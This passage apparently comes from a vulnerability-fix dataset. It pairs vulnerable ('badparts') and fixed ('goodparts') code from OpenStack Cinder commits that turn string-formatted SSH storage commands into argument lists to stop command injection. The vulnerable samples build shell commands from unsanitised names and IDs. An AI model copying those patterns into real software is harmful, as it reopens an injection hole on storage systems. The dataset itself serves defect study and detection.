opts['rsize'],", " 'autoex': autoex,", " 'warn': opts['warning']})", " ssh_cmd_se_opt = ssh_cmd_se_opt + ' -compressed'", " ssh_cmd_se_opt = ssh_cmd_se_opt + (", " ' -grainsize %d' % opts['grainsize'])", " ssh_cmd = ('svctask mkvdisk -name %(name)s -mdiskgrp %(mdiskgrp)s '", " '-iogrp 0 -size %(size)s -unit '", " '%(unit)s %(easytier)s %(ssh_cmd_se_opt)s'", " % {'name': name,", " 'mdiskgrp': self.configuration.storwize_svc_volpool_name,", " 'size': size, 'unit': units, 'easytier': easytier,", " 'ssh_cmd_se_opt': ssh_cmd_se_opt})"], "goodparts": [" easytier = 'on' if opts['easytier'] else 'off'", " ssh_cmd_se_opt = []", " ssh_cmd_se_opt = ['-rsize', '%s%%' % str(opts['rsize']),", " '-autoexpand', '-warning',", " '%s%%' % str(opts['warning'])]", " if not opts['autoexpand']:", " ssh_cmd_se_opt.remove('-autoexpand')", " ssh_cmd_se_opt.append('-compressed')", " ssh_cmd_se_opt.extend(['-grainsize', str(opts['grainsize'])])", " ssh_cmd = ['svctask', 'mkvdisk', '-name', name, '-mdiskgrp',", " self.configuration.storwize_svc_volpool_name,", " '-iogrp', '0', '-size', size, '-unit',", " units, '-easytier', easytier] + ssh_cmd_se_opt"]}, {"diff": "\n LOG.debug(_('leave: _create_vdisk: volume %s ') % name)\n \n def _make_fc_map(self, source, target, full_copy):\n- copyflag = '' if full_copy else '-copyrate 0'\n- fc_map_cli_cmd = ('svctask mkfcmap -source %(src)s -target %(tgt)s '\n- '-autodelete %(copyflag)s' %\n- {'src': source,\n- 'tgt': target,\n- 'copyflag': copyflag})\n+ fc_map_cli_cmd = ['svctask', 'mkfcmap', '-source', source, '-target',\n+ target, '-autodelete']\n+ if not full_copy:\n+ fc_map_cli_cmd.extend(['-copyrate', '0'])\n out, err = self._run_ssh(fc_map_cli_cmd)\n self._driver_assert(\n len(out.strip()),\n", "add": 4, "remove": 6, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" copyflag = '' if full_copy else '-copyrate 0'", " fc_map_cli_cmd = ('svctask mkfcmap -source %(src)s -target %(tgt)s '", " '-autodelete %(copyflag)s' %", " {'src': source,", " 'tgt': target,", " 'copyflag': copyflag})"], "goodparts": [" fc_map_cli_cmd = ['svctask', 'mkfcmap', '-source', source, '-target',", " target, '-autodelete']", " if not full_copy:", " fc_map_cli_cmd.extend(['-copyrate', '0'])"]}, {"diff": "\n \n def _call_prepare_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask prestartfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'prestartfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_prepare_fc_map: Failed to prepare FlashCopy '\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" out, err = self._run_ssh('svctask prestartfcmap %s' % fc_map_id)"], "goodparts": [" out, err = self._run_ssh(['svctask', 'prestartfcmap', fc_map_id])"]}, {"diff": "\n \n def _start_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask startfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'startfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_start_fc_map: Failed to start FlashCopy '\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" out, err = self._run_ssh('svctask startfcmap %s' % fc_map_id)"], "goodparts": [" out, err = self._run_ssh(['svctask', 'startfcmap', fc_map_id])"]}, {"diff": "\n LOG.debug(_('enter: _get_flashcopy_mapping_attributes: mapping %s')\n % fc_map_id)\n \n- fc_ls_map_cmd = 'svcinfo lsfcmap -filtervalue id=%s -delim !' % \\\n- fc_map_id\n+ fc_ls_map_cmd = ['svcinfo', 'lsfcmap', '-filtervalue',\n+ 'id=%s' % fc_map_id, '-delim', '!']\n out, err = self._run_ssh(fc_ls_map_cmd)\n if not len(out.strip()):\n return None\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" fc_ls_map_cmd = 'svcinfo lsfcmap -filtervalue id=%s -delim !' % \\", " fc_map_id"], "goodparts": [" fc_ls_map_cmd = ['svcinfo', 'lsfcmap', '-filtervalue',", " 'id=%s' % fc_map_id, '-delim', '!']"]}, {"diff": "\n if source == name:\n if not allow_snaps:\n return False\n- ssh_cmd = ('svctask chfcmap -copyrate 50 '\n- '-autodelete on %s' % map_id)\n+ ssh_cmd = ['svctask', 'chfcmap', '-copyrate', '50',\n+ '-autodelete', 'on', map_id]\n out, err = self._run_ssh(ssh_cmd)\n wait_for_copy = True\n # Case #3: A snapshot\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask chfcmap -copyrate 50 '", " '-autodelete on %s' % map_id)"], "goodparts": [" ssh_cmd = ['svctask', 'chfcmap', '-copyrate', '50',", " '-autodelete', 'on', map_id]"]}, {"diff": "\n {'name': name, 'src': source, 'tgt': target})\n self._driver_assert(target == name, msg)\n if status in ['copying', 'prepared']:\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n elif status in ['stopping', 'preparing']:\n wait_for_copy = True\n else:\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force',\n+ map_id])\n # Case 4: Copy in progress - wait and will autodelete\n else:\n if status == 'prepared':\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n elif status == 'idle_or_copied':\n # Prepare failed\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n else:\n wait_for_copy = True\n if wait_for_copy:\n", "add": 6, "remove": 5, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" self._run_ssh('svctask stopfcmap %s' % map_id)", " self._run_ssh('svctask rmfcmap -force %s' % map_id)", " self._run_ssh('svctask stopfcmap %s' % map_id)", " self._run_ssh('svctask rmfcmap -force %s' % map_id)", " self._run_ssh('svctask rmfcmap -force %s' % map_id)"], "goodparts": [" self._run_ssh(['svctask', 'stopfcmap', map_id])", " self._run_ssh(['svctask', 'rmfcmap', '-force',", " map_id])", " self._run_ssh(['svctask', 'stopfcmap', map_id])", " self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])", " self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])"]}, {"diff": "\n \n self._ensure_vdisk_no_fc_mappings(name)\n \n- forceflag = '-force' if force else ''\n- cmd_params = {'frc': forceflag, 'name': name}\n- ssh_cmd = 'svctask rmvdisk %(frc)s %(name)s' % cmd_params\n+ ssh_cmd = ['svctask', 'rmvdisk', '-force', name]\n+ if not force:\n+ ssh_cmd.remove('-force')\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmvdisk\n self._assert_ssh_return(len(out.strip()) == 0,\n", "add": 3, "remove": 3, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" forceflag = '-force' if force else ''", " cmd_params = {'frc': forceflag, 'name': name}", " ssh_cmd = 'svctask rmvdisk %(frc)s %(name)s' % cmd_params"], "goodparts": [" ssh_cmd = ['svctask', 'rmvdisk', '-force', name]", " if not force:", " ssh_cmd.remove('-force')"]}, {"diff": "\n raise exception.VolumeBackendAPIException(data=exception_message)\n \n extend_amt = int(new_size) - volume['size']\n- ssh_cmd = ('svctask expandvdisksize -size %(amt)d -unit gb %(name)s'\n- % {'amt': extend_amt, 'name': volume['name']})\n+ ssh_cmd = (['svctask', 'expandvdisksize', '-size', str(extend_amt),\n+ '-unit', 'gb', volume['name']])\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from expandvdisksize\n self._assert_ssh_return(len(out.strip()) == 0, 'extend_volume',\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask expandvdisksize -size %(amt)d -unit gb %(name)s'", " % {'amt': extend_amt, 'name': volume['name']})"], "goodparts": [" ssh_cmd = (['svctask', 'expandvdisksize', '-size', str(extend_amt),", " '-unit', 'gb', volume['name']])"]}, {"diff": "\n \n pool = self.configuration.storwize_svc_volpool_name\n #Get storage system name\n- ssh_cmd = 'svcinfo lssystem -delim !'\n+ ssh_cmd = ['svcinfo', 'lssystem', '-delim', '!']\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes or not attributes['name']:\n exception_message = (_('_update_volume_stats: '\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lssystem -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lssystem', '-delim', '!']"]}, {"diff": "\n backend_name = '%s_%s' % (attributes['name'], pool)\n data['volume_backend_name'] = backend_name\n \n- ssh_cmd = 'svcinfo lsmdiskgrp -bytes -delim ! %s' % pool\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-bytes', '-delim', '!', pool]\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes:\n LOG.error(_('Could not get pool data from the storage'))\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsmdiskgrp -bytes -delim ! %s' % pool"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-bytes', '-delim', '!', pool]"]}, {"diff": "\n self._stats = data\n \n def _port_conf_generator(self, cmd):\n- ssh_cmd = '%s -delim !' % cmd\n+ ssh_cmd = cmd + ['-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = '%s -delim !' % cmd"], "goodparts": [" ssh_cmd = cmd + ['-delim', '!']"]}, {"diff": "\n \"\"\"\n \n LOG.debug(_('enter: _execute_command_and_parse_attributes: '\n- ' command %s') % ssh_cmd)\n+ ' command %s') % str(ssh_cmd))\n \n try:\n out, err = self._run_ssh(ssh_cmd)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ' command %s') % ssh_cmd)"], "goodparts": [" ' command %s') % str(ssh_cmd))"]}, {"diff": "\n LOG.debug(_('leave: _execute_command_and_parse_attributes:\\n'\n 'command: %(cmd)s\\n'\n 'attributes: %(attr)s')\n- % {'cmd': ssh_cmd,\n+ % {'cmd': str(ssh_cmd),\n 'attr': str(attributes)})\n \n return attributes\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" % {'cmd': ssh_cmd,"], "goodparts": [" % {'cmd': str(ssh_cmd),"]}]}}, "msg": "Tidy up the SSH call to avoid injection attacks in storwize_svc\n\nLet the command and arguments form up a list and avoid the extra arguments\nattackers inserted to the command string\n\nfix bug 1192971\n\nChange-Id: I57b3fe60e64d9d0dc1ea9a18442c877be2ceece3"}, "c55589b131828f3a595903f6796cb2d0babb772f": {"url": "https://api.github.com/repos/johnnychou/Ift_Cinder_Driver/commits/c55589b131828f3a595903f6796cb2d0babb772f", "html_url": "https://github.com/johnnychou/Ift_Cinder_Driver/commit/c55589b131828f3a595903f6796cb2d0babb772f", "sha": "c55589b131828f3a595903f6796cb2d0babb772f", "keyword": "command injection attack", "diff": "diff --git a/cinder/tests/test_hp3par.py b/cinder/tests/test_hp3par.py\nindex a226beeb9..6778a326b 100644\n--- a/cinder/tests/test_hp3par.py\n+++ b/cinder/tests/test_hp3par.py\n@@ -725,11 +725,12 @@ def test_create_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n@@ -750,16 +751,17 @@ def test_create_invalid_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n create_host_ret = pack(CLI_CR +\n 'already used by host fakehost.foo (19)')\n _run_ssh(create_host_cmd, False).AndReturn([create_host_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(FC_SHOWHOST_RET), ''])\n self.mox.ReplayAll()\n \n@@ -779,14 +781,14 @@ def test_create_modify_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(NO_FC_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -add fakehost '\n- '123456789012345 123456789054321')\n+ create_host_cmd = ['createhost', '-add', 'fakehost', '123456789012345',\n+ '123456789054321']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n self.mox.ReplayAll()\n \n@@ -918,12 +920,12 @@ def test_create_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n@@ -944,16 +946,16 @@ def test_create_invalid_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n in_use_ret = pack('\\r\\nalready used by host fakehost.foo ')\n _run_ssh(create_host_cmd, False).AndReturn([in_use_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(ISCSI_3PAR_RET), ''])\n self.mox.ReplayAll()\n \n@@ -973,11 +975,11 @@ def test_create_modify_host(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_NO_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -iscsi -add fakehost '\n- 'iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = ['createhost', '-iscsi', '-add', 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n self.mox.ReplayAll()\n@@ -993,14 +995,14 @@ def test_get_ports(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI),\n ''])\n self.mox.ReplayAll()\n@@ -1017,14 +1019,14 @@ def test_get_iscsi_ip_active(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n self.mox.ReplayAll()\n@@ -1038,7 +1040,7 @@ def test_get_iscsi_ip_active(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN), ''])\n \n self.mox.ReplayAll()\n@@ -1054,21 +1056,21 @@ def test_get_iscsi_ip(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n #record\n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n show_vlun_ret = 'no vluns listed\\r\\n'\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(show_vlun_ret), ''])\n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n \n self.mox.ReplayAll()\n@@ -1089,14 +1091,14 @@ def test_invalid_iscsi_ip(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n config = self.setup_configuration()\n@@ -1118,7 +1120,7 @@ def test_get_least_used_nsp(self):\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\ndiff --git a/cinder/volume/drivers/san/hp/hp_3par_common.py b/cinder/volume/drivers/san/hp/hp_3par_common.py\nindex 216b8da31..36f693421 100644\n--- a/cinder/volume/drivers/san/hp/hp_3par_common.py\n+++ b/cinder/volume/drivers/san/hp/hp_3par_common.py\n@@ -188,7 +188,7 @@ def _set_connections(self):\n The 3PAR WS API server has a limit of concurrent connections.\n This is setting the number to the highest allowed, 15 connections.\n \"\"\"\n- self._cli_run(\"setwsapi -sru high\", None)\n+ self._cli_run(['setwsapi', '-sru', 'high'])\n \n def get_domain(self, cpg_name):\n try:\n@@ -213,8 +213,7 @@ def extend_volume(self, volume, new_size):\n LOG.debug(\"Extending Volume %s from %s to %s, by %s GB.\" %\n (volume_name, old_size, new_size, growth_size))\n try:\n- self._cli_run(\"growvv -f %s %sg\" % (volume_name, growth_size),\n- None)\n+ self._cli_run(['growvv', '-f', volume_name, '%dg' % growth_size])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error extending volume %s\") % volume)\n@@ -272,17 +271,8 @@ def _capacity_from_size(self, vol_size):\n capacity = int(round(capacity / MiB))\n return capacity\n \n- def _cli_run(self, verb, cli_args):\n+ def _cli_run(self, cmd):\n \"\"\"Runs a CLI command over SSH, without doing any result parsing.\"\"\"\n- cli_arg_strings = []\n- if cli_args:\n- for k, v in cli_args.items():\n- if k == '':\n- cli_arg_strings.append(\" %s\" % k)\n- else:\n- cli_arg_strings.append(\" %s=%s\" % (k, v))\n-\n- cmd = verb + ''.join(cli_arg_strings)\n LOG.debug(\"SSH CMD = %s \" % cmd)\n \n (stdout, stderr) = self._run_ssh(cmd, False)\n@@ -334,7 +324,10 @@ def _ssh_execute(self, ssh, cmd, check_exit_code=True):\n channel.close()\n return (stdout, stderr)\n \n- def _run_ssh(self, command, check_exit=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n self.sshpool = utils.SSHPool(self.config.san_ip,\n self.config.san_ssh_port,\n@@ -367,10 +360,10 @@ def _run_ssh(self, command, check_exit=True, attempts=1):\n LOG.error(_(\"Error running ssh command: %s\") % command)\n \n def _delete_3par_host(self, hostname):\n- self._cli_run('removehost %s' % hostname, None)\n+ self._cli_run(['removehost', hostname])\n \n def _create_3par_vlun(self, volume, hostname):\n- out = self._cli_run('createvlun %s auto %s' % (volume, hostname), None)\n+ out = self._cli_run(['createvlun', volume, 'auto', hostname])\n if out and len(out) > 1:\n if \"must be in the same domain\" in out[0]:\n err = out[0].strip()\n@@ -392,7 +385,7 @@ def _safe_hostname(self, hostname):\n return hostname[:index]\n \n def _get_3par_host(self, hostname):\n- out = self._cli_run('showhost -verbose %s' % (hostname), None)\n+ out = self._cli_run(['showhost', '-verbose', hostname])\n LOG.debug(\"OUTPUT = \\n%s\" % (pprint.pformat(out)))\n host = {'id': None, 'name': None,\n 'domain': None,\n@@ -479,7 +472,7 @@ def _get_3par_host(self, hostname):\n \n def get_ports(self):\n # First get the active FC ports\n- out = self._cli_run('showport', None)\n+ out = self._cli_run(['showport'])\n \n # strip out header\n # N:S:P,Mode,State,----Node_WWN----,-Port_WWN/HW_Addr-,Type,\n@@ -496,7 +489,7 @@ def get_ports(self):\n ports['FC'].append(tmp[4])\n \n # now get the active iSCSI ports\n- out = self._cli_run('showport -iscsi', None)\n+ out = self._cli_run(['showport', '-iscsi'])\n \n # strip out header\n # N:S:P,State,IPAddr,Netmask,Gateway,\n@@ -510,7 +503,7 @@ def get_ports(self):\n ports['iSCSI'][tmp[2]] = {}\n \n # now get the nsp and iqn\n- result = self._cli_run('showport -iscsiname', None)\n+ result = self._cli_run(['showport', '-iscsiname'])\n if result:\n # first line is header\n # nsp, ip,iqn\n@@ -631,31 +624,27 @@ def _set_qos_rule(self, qos, vvs_name):\n cli_qos_string += ('-io %s ' % max_io)\n if max_bw is not None:\n cli_qos_string += ('-bw %sM ' % max_bw)\n- self._cli_run('setqos %svvset:%s' %\n- (cli_qos_string, vvs_name), None)\n+ self._cli_run(['setqos', '%svvset:%s' % (cli_qos_string, vvs_name)])\n \n def _add_volume_to_volume_set(self, volume, volume_name,\n cpg, vvs_name, qos):\n if vvs_name is not None:\n # Admin has set a volume set name to add the volume to\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n else:\n vvs_name = self._get_3par_vvs_name(volume['id'])\n domain = self.get_domain(cpg)\n- self._cli_run('createvvset -domain %s %s' % (domain,\n- vvs_name), None)\n+ self._cli_run(['createvvset', '-domain', domain, vvs_name])\n self._set_qos_rule(qos, vvs_name)\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n \n def _remove_volume_set(self, vvs_name):\n # Must first clear the QoS rules before removing the volume set\n- self._cli_run('setqos -clear vvset:%s' % (vvs_name), None)\n- self._cli_run('removevvset -f %s' % (vvs_name), None)\n+ self._cli_run(['setqos', '-clear', 'vvset:%s' % (vvs_name)])\n+ self._cli_run(['removevvset', '-f', vvs_name])\n \n def _remove_volume_from_volume_set(self, volume_name, vvs_name):\n- self._cli_run('removevvset -f %s %s' % (vvs_name, volume_name), None)\n+ self._cli_run(['removevvset', '-f', vvs_name, volume_name])\n \n def get_cpg(self, volume, allowSnap=False):\n volume_name = self._get_3par_vol_name(volume['id'])\n@@ -815,16 +804,16 @@ def create_volume(self, volume):\n def _copy_volume(self, src_name, dest_name, cpg=None, snap_cpg=None,\n tpvv=True):\n # Virtual volume sets are not supported with the -online option\n- cmd = 'createvvcopy -p %s -online ' % src_name\n+ cmd = ['createvvcopy', '-p', src_name, '-online']\n if snap_cpg:\n- cmd += '-snp_cpg %s ' % snap_cpg\n+ cmd.extend(['-snp_cpg', snap_cpg])\n if tpvv:\n- cmd += '-tpvv '\n+ cmd.append('-tpvv')\n if cpg:\n- cmd += cpg + ' '\n- cmd += dest_name\n+ cmd.append(cpg)\n+ cmd.append(dest_name)\n LOG.debug('Creating clone of a volume with %s' % cmd)\n- self._cli_run(cmd, None)\n+ self._cli_run(cmd)\n \n def get_next_word(self, s, search_string):\n \"\"\"Return the next word.\n@@ -871,9 +860,9 @@ def _get_vvset_from_3par(self, volume_name):\n NOTE(walter-boring): don't call this unless you know the volume is\n already in a vvset!\n \"\"\"\n- cmd = \"removevv -f %s\" % volume_name\n+ cmd = ['removevv', '-f', volume_name]\n LOG.debug(\"Issuing remove command to find vvset name %s\" % cmd)\n- out = self._cli_run(cmd, None)\n+ out = self._cli_run(cmd)\n vvset_name = None\n if out and len(out) > 1:\n if out[1].startswith(\"Attempt to delete \"):\n@@ -1037,7 +1026,7 @@ def delete_snapshot(self, snapshot):\n LOG.error(str(ex))\n \n def _get_3par_hostname_from_wwn_iqn(self, wwns_iqn):\n- out = 